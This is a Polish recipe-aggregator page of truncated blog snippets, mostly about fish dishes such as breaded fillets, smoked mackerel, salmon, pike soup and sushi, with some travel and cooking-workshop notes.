Danie rybne nie musi być nudne, z rybą można kombinować na wiele sposobów tak jak z kurczakiem. Tą wzbogaciłam porem, który nadał trochę ostrości i mozzarellą. Podałam je z pieczonymi ćwiartkami ziemniaków i surówką colesław.  Składniki: 5 filetów rybnych 1 por (biała część) duża kulka mozzarelli łyżka masła jajko bułka tarta mąka sól pieprz olej do smażenia Pora pokroić(...)półplasterki, podsmażyć na maśle i doprawić pieprzem. Mozzarellę pokroić na plasterki. Rybę natrzeć solą i pieprzem. Opanierować w mące, jajku i bułce tartej. Szybko obsmażyć na oleju na złoto. Przełożyć na blaszkę do pieczenia. Na każdy kawałek nałożyć po łyżce pora i plasterek mozzarelli. Wstawić do piekarnika nagrzanego do 180*C i piec aż ser się rozpuści

Domowa Cukierenka-Domowa Kuchnia
Kuchenne abc - folia aluminiowa 216

aromat i witaminy. Pieczenie w folii jest doskonałą alternatywą dla osób na diecie, czy też dbających o zdrowie. Przygotowywane w niej produkty nie wymagają użycia tłuszczu, a mięso czy ryba zachowują pełnię wartości odżywczych, gdyż duszą się we własnym sosie." Jednak pomimo jej powszechności, nie każdy wie, że nie bez znaczenia jest fakt, którą stroną folii owiniemy nasze produkty.... Jeśli(...)chcemy upiec potrawę np. ziemniaki lub rybę w folii - owijamy ją w folię lśniącą stroną do wewnątrz, a matową na zewnątrz (ta strona przepuści ciepło z piekarnika do środka potrawy). Natomiast jeśli chcemy przechować produkty żywnościowe, aby dłużej zachowały świeżość - owijajmy je lśniącą stroną na zewnątrz. Wtedy ciepło nie będzie się dostawało do potrawy wewnątrz opakowania i nie będzie przyspieszało

Nutka ciekawości, szczypta wyobraźni...
Tydzień włoski w LIDL Polska od 19 pazdziernika – DOLCE VITA w zasięgu ręki 136

przede wszystkim dzięki lokalnym produktom nie do podrobienia. Znana z wyśmienitych makaronów, najsmaczniejszych serów, gdzie niewątpliwie królem jest parmezan, gorgonzola, mozzarella czy chociażby ricotta. Cucina italiana obfituje w ryby i frutti di mare, w niezliczoną ilość owoców, warzyw i ziół. Włosi to naród , który kocha jeść, kocha swoje kulinarne dziedzictwo i za nie mógłby nawet polec w bitwach. To naród(...)uśmiecha szklaneczką wina do nieznajomych, bijąca cennym sercem karczocha. Kto raz był...kto raz zasmakował..cierpieć będzie i tęsknić. Za oliwą, oliwkami, papryką. Za winem, likierami, kawą. Za makaronem, rybami, szynką. Za serami, serami, serami... Żeby tego wszystkiego skosztować, powąchać, doświadczyć na własnej skórze- niekoniecznie musimy się zaraz pakować, kupować bilet do Rzymu, Parmy czy Mediolanu.  Nie musimy tęsknić

Z Kuchni Do Kuchni
Łosoś z warzywami i pesto 180

razem propozycja czegoś zdrowego i dosyć lekkiego. Wprawdzie z tą „lekkością” może być nieco różnie, gdyż łosoś nie jest najchudszą rybą, ale to akurat względnie zdrowy rodzaj tłuszczu. Ilościowo dominują jednak kolorowe warzywa, a cała potrawa utrzymana jest w klimacie śródziemnomorskim. To ostatnie akcentuje również dodatek bazyliowego pesto , które tradycyjnie możemy albo zrobić sami wg naszego przepisu, albo kupić

Kulinarna Pokusa
Naturele 142

Doskonały pomysł na gotowanie kaszy w soku, nadającym jej lekko owocowego smaku. Podpatrzyłam i już tak gotuję, jest super. Świetna galaretka, ta palona nuta.. no i świetnie przygotowana ryba. Ośmiornica - kasza kuskus/granita z pomarańczowego pomidora/ puder z czarnej oliwki. Ciepła, miękka, delikatna ośmiornica, kuskus w soku z pomarańczy, puder z suszonej czarnej oliwki i granita z pomarańczowego pomidora(...)jarmuż - tak jak lubię. Halibut - pure z patisona /quinoa / szpinak pędowy/ oliwa z szałwią melonową. Halibut idealny. Jest gotowany z ośćmi, które wyjmowane są po ugotowaniu, dzięki czemu ryba ma pełniejszy smak. Czy wszyscy wiemy, że szałwia ma różne smaki i zapachy? I to już koniec, zdecydowanie zabrakło deseru. Bo przecież deser jest wspaniałym zakończeniem posiłku. Do tej laurki, którą

królestwo garów
Pieczony marlin z sosem béarnaise 150

Jest to danie kuchni francuskiej. Marlin jest rybą bardzo delikatną i bardzo smaczną, dlatego polecam gorąco. Przepis kuchni francuskiej z ulotki Biedronki. Pieczony marlin z sosem béarnaise. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Pasta z wędzonej makreli 100

Przepisów na pastę z makreli jest chyba tyle co osób ją przyrządzających. Ja bardzo lubię połączenie wędzonej ryby z ostrym smakiem cebuli i kwaskowym ogórkiem. Pasta ta idealnie nadaje się do kanapek, lecz można jątakże podawać jako sałatkę.  wędzona makrela 1 czerwona cebula 2-3 ogórki konserwowane 3-4 łyżki sosu tatarskiego pieprz Rybę wyfiletować i rozdrobnić. Cebulkę

Codzienne Gotowanie
Fritata z wędzonym łososiem 121

takie połączenie jest niezmiernie interesujące od razu przystąpiłam do działania. Dodałam jeszcze kilka różnych dodatków i... efekt przeszedł moje oczekiwania! Wyśmienita  frittata z delikatnym aromatem wędzonej ryby i kwaskowych kaparów - rewelacja! 1 średnia cebula 1 ząbek czosnku 100g wędzonego łososia 1 łyżka sosu sojowego 1 łyżka kaparów 2-3 łyżki mleka sól, pieprz zioła masło Cebulę drobniutko posiekać, czosnek(...)smażyć aż nabierze różowego koloru, podlać sosem sojowym, dodać kapary i jescze chwilę smażyć. Jajka wbić do miseczki i roztrzepać, dodać mleko popieprzyć, dodać zioła, dokładnie wymieszać. Przesmażoną rybę zalać jajeczną masą i równomiernie rozprowadzić po patelni. Gdy brzegi podeschną odchylać je delikatnie łopatką i przechylając patelnię przelewać tam nie ścięte jajko z wierzchu. Przykryć i smażyć na małym ogniu

Codzienne Gotowanie
Wędzone filety z makreli 150

Zalewa: 50 g soli kamiennej niejodowanej na 1 litr wody 3 ziarna ziela angielskiego 5 ziaren pieprzu czarnego 2 liście laurowe ok 10 ziaren kolendry Przygotowanie: Ryby należy oczyścić i wypatroszyć. Polecam od razu filetować. Solankę zagotować z przyprawami by ich aromat przeniknął do wody (przyprawy dobrze wcześniej rozgnieść w moździerzu). Ostudzić i zalać filety na 6 - 12 godzin (zależy(...)wielkości). Następnie wyjąć, przepłukać pod bieżącą wodą, osuszyć ręcznikiem papierowym i kładziemy na kratce do ocieknięcia i wysuszenia. Ryba będzie gotowa, gdy jej skóra stanie się lśniąca. Następnie układamy filety na półkach wędzarni i dodatkowo osuszamy około 30 minut w temperaturze 50 stopni. Kolejnym etapem jest włączenie generatora dymu i podniesienie temperatury o 5 stopni. Tak wędzimy przez 2 godziny

Karczma Honorietty
Klopsiki z dorsza w sosie pomidorowym z kaparami 174

Wyczarować smakowite  danie z ryby wcale nie jest trudno. Klopsiki z dorsza w pysznym sosie pomidorowym z kaparami zasmakują każdemu. To świetny sposób na przemycenie nielubianej rybki nie tylko dla dzieci. Klopsiki są delikatne i puszyste, a całe danie bardzo łatwe do przygotowania i nie zabiera wiele czasu. Sos pomidorowy z dodatkiem świeżego oregano i kaparów smakuje wyjątkowo(...)cukru, sól, pieprz 3 łyżki posiekanych kaparów (ze słoiczka) 1 łyżka masła ghee Wykonanie: z filetów rybnych usunąć skórę i ewentalnie pozostałe ości. Cebule obrać, pokroić na mniejsze kawałki. Rybę i cebulę zemleć w maszynce do mięsa. Dodać jajko, bułkę tartę, przyprawy i posiekaną pietruszkę, następnie wyrobić masę. Uformować klopsiki, obtaczać pojedyńczo w mące i smażyć na rozgrzanym oleju

Gotuj zdrowo!Guten Appetit!
Rosti dyniowe, marynowany indyk z patelni i ostry sos czekoladowy oraz fotorelacja z dyniowych warsztatów 186

się przytulić i zabrać do domu:). Pod okiem fachowców uczestnicy warsztatów przygotowali smakowite potrawy: sałatkę z pieczonej dyni; wędzony krem dyniowy ze smażonymi kaparami i chipsem z dojrzewającej szynki; rybę w kruszonce z pestek dyni na potrawce z soczewicy; dyniowe proziaki z kwaśną śmietaną i śliwkowym toffi oraz rosti dyniowe i marynowanego indyka z patelni z ostrym sosem czekoladowym. Dziś(...)cukier, cynamon i pomidory. Podgotuj, a przed p odaniem dopraw sosem TABASCO®. Plastry indyka usmaż krótko, aby  wewnątrz był jeszcze soczysty. Wszystkie  składniki skomponuj na talerzu. Smacznego :) Ryba w kruszonce z pestek dyni na potrawce z soczewicy Sałatka z pieczonej dyni Dyniowe  proziaki  z kwaśną śmietaną i śliwkowym toffi

SzczyptaSmaQ
Pstrąg łososiowy z masłem ziołowym 123

pory najczęściej kupowaną przeze mnie rybą był łosoś. Jednak ostatnio za namową sprzedawczyni - ponieważ sama lubię pstrągi, ale tradycyjne - postanowiłam kupić pstrąga łososiowego. Przygotowałam go tak jak łososia, czyli upieczonego na grillu, soczystego i aromatycznego z masłem ziołowym. Wyszedł pysznie i smakował jak prawdziwy łosoś. Taki pstrąg jest naprawdę dobry. Czytaj więcej

Bernika - moj kulinarny pamietnik
Dorsz z cytryną, szałwią i pieprzem cytrynowym 110

się zakupić taką piękną tuszkę dorsza atlantyckiego i stąd moja dzisiejsza potrawa. Dorsz podany prosto ale bardzo smakowicie, może komuś przypadnie do gustu czytaj smaku. Zachęcam do przygotowania ryby. Dorsz z cytryną, szałwią i pieprzem cytrynowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Karp smażony w panierce kukurydzianej 144

Składniki: 1 karp 2 jajka 1 cytryna płatki kukurydziane olej do smażenia sól, pieprz Wykonanie: Rybę myjemy, odcinamy ogon, łeb, usuwamy łuski i filetujemy. Kroimy na cienkie paski,`skrapiamy sokiem z cytryny, posypujemy solą i pieprzem. Płatki kukurydziane wkładamy do foliowego woreczka i rozgniatamy za pomocą wałka kuchennego. Każdy kawałek ryby maczamy w roztrzepanym jajku, a następnie obtaczamy w panierce

magiczna kuchnia Kasi
Paluszki rybne w migdałowej panierce z sosem jogurtowo- koperkowym 148

Żeby zachęcić moje dzieci do jedzenia ryby, często robimy razem paluszki rybne- na różne sposoby. Tradycyjnie- panierowane w bułce tartej, ale najczęściej w pokruszonych płatkach migdałowych- te smakują im najbardziej. Polecam też wypróbować obtaczane w wiórkach kokosowych. Najlepiej smakują z lekkim sosem np. jogurtowo- koperkowym a do obiadu np. z ryżem. Polecam. Składniki na ok. 12 paluszków(...)łyżki mąki pszennej olej do smażenia Na sos jogurtowo-koperkowy: 4 łyżki jogurtu naturalnego 2 łyżki śmietany kwaśnej 18% łyżka posiekanego koperku sól i pieprz do smaku Filety z ryby osuszyć ręcznikiem papierowym, pokroić wzdłuż na cienkie paski a następnie w poprzek tak aby wyszły kawałki 7-10cm. Posolić i odstawić na 15 min. do lodówki. Panierować w mące

Maślane ciasteczko
Ziemniaczana zapiekanka z leśnymi grzybami 146

więc grzyby nazbierane, więc musiałam je jakoś wykorzystać. Kolczaki usmażyłam i dodałam do ziemniaczanej zapiekanki. Ziemniaczana zapiekanka to bardzo popularne szwedzkie danie , które idealnie pasuje do pieczonego mięsa lub ryby. Zapiekanka ma kremową konsystencję, a powstały sos podczas pieczenia z powodzeniem zastąpi tradycyjny sos. Ziemniaczana zapiekanka z leśnymi grzybami Składniki: 4 – 6 porcji okrągła forma o średnicy(...)piecz przez około 4o minut. Na 15 minut przed końcem pieczenia przykryj zapiekankę aluminiową folią. Gotową zapiekankę wyjmij z piekarnika. Nabieraj łyżką i podawaj zapiekankę do mięsa lub ryby

codojedzenia
Jak oskrobać rybę z łusek, aby nie pobrudzić całej kuchni. 145

eśli chcesz oskrobać rybę z łusek i nie pobrudzić przy tym kuchni włóż rybę do naczynia ( miska lub rondel ) z wodą. Teraz możesz ją skrobać, a woda zatrzyma pryskające łuski. Po skończonej pracy wylej wodę i umyj naczynie, kuchni nie musisz sprzątać bo będzie czysta. ;-)                           Życzę miłego

Przepisy i porady kulinarne
Ryba w cieście naleśnikowym 143

mleka 1 jajko 1/2 łyżeczki soli 1/4 łyżeczki pieprzu   Filety pokroić na 3 - 4 części. Z podanych składników przygotować ciasto,  powinno przypominać konsystencją gęstą śmietanę.Kawałki osuszonej ryby maczać w cieście i smażyć  na niewielkim ogniu z obydwu stron na złoty kolor. Osuszyć z nadmiaru tłuszczu na papierowych ręcznikach

Moje domowe kucharzenie
Razowe spaghetti z pikantnymi krewetkami 107

Uwielbiam delikatny smak krewetek. Wiem , ze jest wiele osób, które uważa je za "robaki morskie" i za nic nie tknie. Zupełnie niepotrzebnie bo jeśli lubimy ryby to i krewetki powinny nam smakować. Powiem więcej... nie jestem fanką ryb ale krewetki uwielbiam ;) Sekretem ich przyrządzenie jest krótka obróbka cieplna. Krewetki przeciągnięte za długo na patelni stają się gumowe i mało atrakcyjne

Pyry na Gaz
Piątkowe Inspiracje - Kotlety rybne 143

Moje dzieci bardzo lubią kotlety mielone, za rybami zaś nie przepadają. Postanowiłam zrobić więc takie rybne mielone i okazało się, że był to strzał w dziesiątkę. Odtąd przynajmniej raz w tygodniu takie kotlety u nas goszczą. Zapraszamy do spróbowania! kilka mrożonych filetów rybnych ( np. z dorsza lub miruny) pęczek koperku świeżego lub mrożonego pół cebuli bułka tarta 1 żółtko olej(...)podsmażyć. Filety rybne rozmrozić, pokroić w wąskie paski i zmielić w maszynce do mięsa. Do zmielonych filetów dodać posiekany koperek i podsmażoną cebulkę (można je również zmielić razem z rybą). Dodać żółtko,bułkę tartą i sól, wyrobić masę, w razie potrzeby doprawić do smaku . Formować niewielkie kotlety, obtoczyć je w bułce tartej i smażyć je z obu stron na patelni

Wilczkowy Świat - nasze codzienne gotowanie
Sos koperkowo śmietanowy. 183

koperkowo śmietanowy przyrządziłam specjalnie do pieczonej ryby, lecz również można go podawać do wielu innych potraw. Podpatrzyłam na innych blogach jakie on mniej więcej ma składniki i przystąpiłam do jego sporządzenia. Wyszedł bardzo smaczny. Składniki: 600ml wody, 1 i 1/2 kostki rosołowej drobiowej                     lub: 600ml domowego bulionu drobiowego(...)cały czas mieszając. Gotową zawiesinę powoli dodawać do bulionu, cały czas mieszając. Gdy się zagotuje zdjąć z ognia i dodać  posiekany koperek . Sosu wychodzi niepełny garnek 1.5L. Ryba z sosem koperkowo śmietanowym: Smacznego

W kuchni u Moniki
SOS SZPINAKOWO - SEROWY 162

też czasami macie dosyć zwykłego sosu pomidorowego do pulpetów? Ja tak, dlatego stworzyłam szpinakowo-serowy. Co prawda bardziej pasuję do ryby niż do mięsa ale dla mnie i tak bomba. Szpinak zawsze i wszędzie w każdej postaci.Aha, sos jest zdecydowanie smaczniejszy na drugi dzień.  Składniki:  torebka szpinaku mrożonego  150 sera gorgonzola ( 1 opakowanie)  pół szklanki rosołu(...)Dodać czosnek, zalać rosołem i znowu dusić 5 minut. Następnie dodać ser, śmietanę, poczekać aż się rozpuści i całość zmiksować blenderem. Doprawić solą i pieprzem do smaku. Podawać z rybą, makaronem lub jak ja pulpetami mięsnymi

pieprzny smaczek
Kilka pomysłów na... 163

wychodzi potraw całkowicie(no lub prawie) wegańskich. Nie, nie, weganką zostać nie zostanę, przynajmniej w przeciągu dość długiego czasu(naprawdę długiego), bo za bardzo lubię jednak jaja, nabiał, czy rybę i tego kurczaka. Po prostu czasami lubię tak czegoś nowego popróbować, czy w inny sposób też wyjdzie. Tak wiec praktycznie cały dzisiejszy post (z lekkim wyjątkiem) pozostaje wolny od nabiału(...)nachodzi mnie myśl, czy właśnie nie robić takich podziałów w tym cyklu, że raz będzie cały post z pomysłami na ryż, innym na makaron, a innym na kurczaka, czy rybę, co o tym myślicie? :)  Domowe pieczone falafele ostatnimi czasami zakochałam się na nowo w ciecierzycy, z z racji wolnego czasu nie mogłam nie spróbować zrobić z niej tych

More food, love and dreams
Rybna przygoda 171

razem była to prawdziwie wodna przygoda. Coś co wodniki-szuwarki lubią najbardziej. Uczestnicy jak zwykle dopisali gwarantując wspaniałą atmosferę. Celem tych warsztatów było odmienienie zwykłej metody na przygotowanie ryby oraz poznanie rodzimych gatunków. Coś innego niż zwyczajowe smażenie w panierze.  Jak zwykle dużo cennych uwag prowadzącego, które Hońka zapewne wykorzysta. Wiadomo, że w domowych pieleszach nie będę używać syfonu(...)robienia pianek, bo go najzwyczajniej w świecie nie posiadam, ale zawsze warto poznać dodatkowy sposób na urozmaicenie rybnego obiadu. Hitem warsztatów jednak okazały się nie ryby ale raki. A konkretnie ich szyjki, z których został wyczarowany smakowy sosik. Podobno raki są niedoceniane - cóż, skoro nie można ich nigdzie nabyć, to jak można je docenić? Niemniej jednak, każdemu kto spotka

Karczma Honorietty
Orzeszku... rybka! 112

skórą orzechy włoskie migdały w płatkach 3 daktyle suszone mała garść żurawiny suszonej mieszanka warzyw mexico papryka słodka suszona kukurydza konserwowa 200g kaszy jaglanej ulubiona oliwa sól Przygotowanie: Rybę myjemy, osuszamy ręcznikiem papierowym, solimy i odkładamy. Orzechy kroimy na drobne kawałeczki, a jeśli mamy maszynkę do siekania - to jeszcze lepiej. To samo czynimy z daktylami i żurawiną. To będzie nasza(...)panierka do ryby. Kaszę jaglaną gotujemy wg. instrukcji na opakowaniu, a mrożonkę warzywną wrzucamy na patelkę, dosypujemy trochę papryki i doprowadzamy do miękkości pod przykryciem. Ugotowaną kaszę łączymy z warzywami, a rybkę obtaczamy w orzeszkowej panierce i smażymy 3-5 minut, pamiętając by kłaść ją na gorącą patelnię, skórą do dołu.I tą stronę rybki smażymy dłużej. Dzięki orzeszkowej panierce

Karczma Honorietty
Szparagi clasico z halibutem fantastico 122

masła 3-4 żółtka sok z 1/2 cytryny sól, świeżo mielony pieprz kolorowy filet z halibuta płatki migdałów kandyzowane owoce tropikalne ziarna czarnego sezamu sok z cytryny do skropienia ryby Przygotowanie: Szparagi gotujemy tak, jak to widać na zdjęciu poniżej. Główki powinny wystawać ponad poziom wody, gdyż potrzebują znacznie mniej czasu. Średnio można założyć, że cienkie szparagi potrzebują(...)prosto, a do jedzenia przeznaczyłam tylko te części z "kwiatkiem". Oczywiście, że można jeść same szparagi, tylko po co? Zatem może rybka? Najlepiej morska! Nadarzyła się okazja na halibuta. Rybę należy osuszyć ręcznikiem i posolić przynajmniej z godzinę przed przyrządzaniem. Sól musi mieć czas by zadziałać higroskopijnie. Następnie Hońka umyśliła sobie, że można by zaszaleć z "panierką". Zatem pokroiła kandyzowane

Karczma Honorietty
Schab smażony na kwaśno 149

daniem można zaskoczyć domowników. Szczególnie osoby które nie lubią ryb, bo wygląda jak ryba w zalewie octowej a nią nie jest. W mojej rodzinie było podobnie. Zresztą sami spróbujcie, nie zawsze to jak wygląda tym jest. Składniki: 700 gram schabu bez kości Sól Pieprz Mąka do obtoczenia Olej do usmażenia 2 cebule Liść laurowy Ziele angielskie Zalewa 1 ½ l wody

Smaki Ewy
Restauracja La Falua w Benidorm - śródziemnomorskie kulinarne szaleństwo 151

podróży będzie na blogu dużo więcej – sporo  bowiem z tego, co tam degustowaliśmy i oglądaliśmy  chcielibyśmy skopiować w domu. Nie liczę oczywiście na tą ogromną różnorodność ryb i owoców morza – ale i w naszych sklepach co raz więcej z tego asortymentu  możemy znaleźć. Restauracja La Falua to 3-gwiazdkowy lokal na ulicy Calle Santander 22 - położony(...)ryżu przygotowywane na specjalnych patelniach i podawane z najrozmaitszymi składnikami. Klasyka to paella z mięsem królika i kurczaka, ale oczywiście królują tu dodatki takie jak owoce morza i ryby. Na naszej puszył się okazały homar, którego pokazujemy na zdjęciu ( tu już rozkrojony ). Mięso z odwłoka wydobył nam kelner, ale do szczypców dostaliśmy specjalne narzędzia. Nie było łatwo, ale zabawy

Smaki Ewy
Szczupak w zalewie 155

Parę dni temu dostałam od znajomego świeżo złowionego szczupaka i wieczorem przygotowałam według jego przepisu: szczupak w zalewie octowej. Wychowałam się w domu, gdzie rzadko były przygotowywane ryby a tym bardziej w zalewie octowej, ale raz miałam okazję spróbować szczupaka według tego przepisu i postanowiłam spróbować swoich sił. Składniki na: Szczupak w zalewie jeden szczupak […] The post Szczupak

Magiczny Garnek
sushi po mojemu 162

Składniki łosoś (Podstawa to ryby. Dobra ryba to klucz do sukcesu ) ogórek zielony papryka czerwona sezam czarny wasabi-chrzan w proszku liście nori(Nori,Wodorosty) ryż do sushi(krótko ziarnisty, klejący się) ocet ryżowy Słońce woda (na 1 szklankę ryżu ,1,5 szklanki wody) Wykonanie Sos do ryżu. Na 0,5 kg ryżu potrzebujemy 5 łyżek octu ryżowego, 3 łyżki

w mojej kuchni
Jak odkryć koło na nowo, czyli o kształcie porcelany słów kilka 126

również jest prostokątna. Wędliny, sery czy przekąski najlepiej podać na podłużnym, prostokątnym płaskim talerzu – plasterki sera czy koreczki równo ułożone na takim talerzu wprowadzą harmonię na Twoim stole. Podajesz rybę lub dania kuchni azjatyckiej? Najlepiej sprawdzą się talerze w kształcie ryby, łezki czy liścia. W ofercie sklepów z porcelaną znajdziesz również tak nietypowe kształty jak: nerka (Cera od Vileroy

WojnaNaSmaki.pl
Krem z zielonego groszku 178

wakacji, które to ludzkość jak opętana umieszcza wszędzie. Okazuje się, że nasz naród od lat hołduje temu samemu modelowi spędzania wakacji nad morzem. Smażenie na plaży i smażalnie ryb, wieczorem dancing. Czad! Będę wytapiać wałki, Najcierpliwszy będzie usuwał piasek z Macbooka. Wcześniej wykopiemy sobie grajdoł i będziemy wypatrywać pana z drożdżówkami, żeby go zapytać, z czym te jagodzianki. Jest jeden(...)mały problem – nienawidzimy leżeć na plaży, smażone ryby też nam nie leżą, bo starej frytury nie lubimy, gofry i lody z automatu oraz pamiątki oblepione muszelkami też nie wzbudzają naszych dzikich kwików radości. Skoro mieszkamy w Krakowie i w górach to czemu nie zajmiemy się zwiedzaniem tychże? – zapytacie. No ile można? Trzeba czasem coś odmienić. Zresztą w Krakowie

ladykitchen
Małe co nieco o rosyjskiej kuchni 179

nadzieniem, u mnie z gotowanymi ziemniakami, podane z bardzo popularnym tu dodatkiem do różnego rodzaju potraw, czyli z kwaśną śmietaną. Kasza gryczana przyrządzana z pieczarkami, do tego kawałek smażonej ryby . Proste i smaczne! Zupa okroszka , czyli znowu chłodnik, tym razem z kwasem chlebowym zamiast kefiru, podana ze śmietaną. Jak dla mnie smakowała lepiej niż ta z kefirem, i muszę przyznać(...)suszone rybki i tanią wódkę. A teraz wybrane rzeczy ze sklepu: Batoniki twarogowe (syrki), pyszne, tanie, delikatne, bardzo szeroki wybór - jedna z rzeczy, za którymi tęsknię :) Cała gama suszonych ryb , jedzone jako przekąski do piwa. Kwas chlebowy , można kupić go niemal wszędzie. W sklepie zarówno i butelkach 2 l jak i mniejszych. A na koniec wracając do fast-foodów: ziemniaczki

psgotujemy
Risotto z okoniem nilowym -- 198

Składniki 1 szklanka ryżu arborio 600 g ryby -u mnie okoń nilowy 4 szklanki bulionu, drobiowego lub warzywnego 2 cebule 4 łyżki utartego sera grana padano lub parmezanu 2 ząbki czosnku, drobno posiekane 3 łyżki masła 1 cukinia oliwa sól pieprz 1/2 pęczka zielonej pietruszki, drobno posiekanej 2 marchewki surowe Wykonanie Cebulę i cukinie kroimy w kostkę.Czosnek obieramy

w mojej kuchni
Ryba pieczona w papilotach z warzywami. 211

Dziś na obiad poleca się pyszna , pieczona ryba w sosie pomidorowym z warzywami .Można ją zjeść z ryżem, kaszą albo bez niczego .Mogłam upiec więcej. Składniki : 500 g filetów z dorsza ,sandacza ,halibuta . 1 łyżeczka suszonego tymianku oliwa ,sól ,pieprz 1 cukinia 1 pomidor sos pomidorowy : 1/2 puszki pomidorów w sosie pomidorowym 1 łyżeczka oliwy z oliwek szczypta tymianku sól(...)małym ogniu przez około 15 minut ,zmiksować na gładki sos . Piekarnik nagrzać do 180 stopni .Z papieru do pieczenia wyciąć cztery większe kawałki .Na jednej połówce położyć kawałek ryby , doprawionej solą ,pieprzem ,tymiankiem i posmarowanej oliwą .Wierzch posmarować sosem pomidorowym .Przykryć kawałkami cukinii i pomidora . Warzywa doprawić i skropić oliwą .Zawinąć paczuszki i piec na blaszce przez około 20 minut

Ladylaura.
Warsztaty z North Fish i Folwark 140

połączenie, no bo krewetki i cynamon... ? Ale rezultat końcowy był wyśmienity, Łukasz brawo za odwagę ! W trakcie trwania warsztatów Łukasz dzielił się z nami swoją niemałą wiedzą na temat ryb, tym jak je obierać, patroszyć, a następnie najlepiej je przyrządzać.  Atmosfera była  bardzo rodzinna, nasze rozmowy, nie tylko z Łukaszem, ale także z Anią, przedstawicielką firmy Folwark trwały(...)jeszcze długo po zakończeniu warsztatów. Jeszcze w drzwiach wyjściowych podpytywaliśmy Łukasza o różne ciekawostki kulinarne związane z rybami i owocami morza.   Krewetki słodko-kwaśnie podane z  aromatyczną sałatką ze świeżych warzyw. Grillowany stek z tuńczyka z zielonymi szparagami z ziołowym masłem. Dziękuję obu firmom za  zaproszenie na warsztaty. Ogromny plus za ich organizację

Kulinarne przygody Gatity
Mediolan zjedzony i przepis na cannolo 182

nozdrzach. Przyjemny.  Zbawienne dla wątroby karczochy. Ślinka mi na to coś cieknie - niestety nie mam pojęcia jak się owo warzywo nazywa.   Broccoli Targowisko ryb. A przy min smażalnia.  Tu kupiłam przepyszny szaszłyk z wielu gatunków ryb.  Pachniał rozmarynem i cytryną. Szczerze - mnie już nic do szczęścia

AZgotuj!
Grillowany tuńczyk z duszonymi porami i szpinakiem 188

Uwielbiam świeże ryby. Wiem kiedy jest dostawa świeżych. Jadę specjalnie po nie.  Ostatnio wybór był imponujący. Zakupiłam tuńczyka, kurka, żabnicę, sandacza. Na pierwszy ogień poszedł stek z tuńczyka. Podałam go na duszonych porach w białym winie z estragonem i świeżym szpinakiem z rodzynkami i orzeszkami piniowymi. Było elegancko i  pysznie! dla dwóch osób: 2 steki z tuńczyka sól(...)oliwa, szczypta, gałki muszkatołowej  Potrzebne będą: patelnia grillowa, rondel do duszenia pora, niewielka patelnia do przygotowania szpinaku. Tuńczyka natrzyj solą pieprzem i wmasuj oliwę. Rozgrzej patelnię grillową. Grilluj rybę tak jak lubisz.  W rondlu rozgrzej ok łyżkę oleju i wrzuć pokrojony w talarki białą część pora. Często mieszaj. Dolej białe wino, odparuj. Dodaj przyprawy. Na koniec dodaj szczyptę

AZgotuj!
Chrupiący łosoś z pistacjami 159

pieczonego na chrupko łososia.  3 porcje łososia skórka z cytryny sól mielone pistacje oliwa risotto  awokado  Zetrzyj skórkę z cytryny i rozłóż na łososiu, posól rybę z obu stron. Następnie wierzch  ryby panieruj w zmielonych pistacjach. Piecz w piekarniku na pergaminie wysmarowanym odrobiną oliwy 15 minut. Podawaj z risotto lub z   ryż cytrynowy

AZgotuj!
Zupa rybna ze smażonym szczupakiem 143

właściwie może być z każdą rybą ... karp na przykład. Ale to najlepsza zupa rybna jaka mi wyszła. Do tej pory.  płat fileta szczupaka, oczyszczony, bez ości ząbek czosnku 2 łyżki koncentratu pomidorowego łyżka czerwonej słodkiej papryki kilka płatków chili marchew pietruszka ziemniaki oliwa z oliwek 2 - 3 liście laurowe 3 ziarna ziela angielskiego kminek do smaku natka pietruszki(...)dodajemy przyprawy. Na patelni rozgrzewamy oliwę i smażymy szczupaka pokrojonego w kostkę, delikatnie go posólcie. Zaczynamy smażyć od skórki, aby była chrupiąca. Kiedy warzywa są już miękkie dodajemy rybę, mieszamy, dodajemy natkę i wylewamy do talerzy

AZgotuj!
Akademia Smaku Bosch: Kasza i golas lubelski 212

domu dwukrotnie i będę gotować. Próbowaliśmy wspaniałych dań s kaszy. Tu kasza na wzór risotto z kremem z fety i groszkiem! Wspaniałe połączenie. W mim domu nie podawałam ryb z kaszą. Jakoś mi nie "grało" Ale na warsztatach dowiedziałam się jak połączyć rybę z kaszą! Wyśmienite danie z chipsami z jarmużu. Faszerowaliśmy też pieczarki kaszą gryczaną. Pyszne, warte powtórzenia

AZgotuj!
Cztery dni w Wenecji mój punkt widzenia 218

minutowej przeprawy po kanałach 80 Euro do 18:00, potem 100 Euro. Na targu w Rialto można było zobaczyć stwory morskie. Te których nie znałam. Długie, płaskie srebrne ryby bez łusek. Szkoda, że nie mogłam ich spróbować Targ Rialto  Targ Rialto  Potem popłynęliśmy na wyspę Lido. Przewodniki opisują, że są tu najpiękniejsze plaże. Sprawdziliśmy. Osoba, która zachwalała plaże(...)potłuczone muszle mogą się wbić w stopy. Dość szeroki pas muszlowego piasku do brzegu. Niemniej jednak to bardzo piękna wyspa ze specyficznym klimatem. Bardzo dobre restauracje, pyszne świeże ryby i ceny niższe niż w Wenecji. Po wyspie Lido można poruszać się wszystkim. Autobusem ( i tu pasują wszystkie bilety na komunikację miejską), Vespą (własną oczywiście;)), a rowerami za opłatą

AZgotuj!
Nuggetsy rybne w tajskim stylu 225

Nuggetsy rybne w tajskim stylu. Nie można przestac ich jeść.  500 gram ryby bez ości (  u mnie łosoś) 1 papryczka chilii 1 ząbek czosnku 1 cm świeżo utartego imbiru 1 łyżka sosu rybnego 1 jajko łyżka płaska mąki ziemniaczanej pęczek kolendry dymka olej  kaszkę kukurydzianą lub mąkę ziemniaczaną do obtoczenia Mięso ryby zmiel pulsacyjnie w malakserze. Dodaj

AZgotuj!
Pieczony pstrąg 198

hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;}       Pieczony pstrąg to dobry pomysł na szybki obiad. Ryba jest bardzo prosta w przyrządzeniu.    Może być podana z pieczonymi ziemniaczkami. Inspiracja pochodzi ze strony - kuchnia lidla. Składniki: - 2 pstrągi patroszone - 1 duża cebula  - sól - biały pieprz(...)mieszamy z pokrojonym koprem. Miękkie masło (ok. 30 -40 g) rozcieramy z ziołami.  Oskrobane i wypatroszone pstrągi nacinamy w poprzek, tworząc malutkie kieszonki.  Od środka (od dołu ryby) faszerujemy pstrągi marynatą z cytryny i cebuli. Wbijamy wykałaczki aby farsz nie wypadł podczas smażenia. W kieszonki wycięte w poprzek wkładamy marynatę z masła i ziół.  Na blachę wyłożoną

Pan i Pani Smith w kuchni
Zupa rybna 152

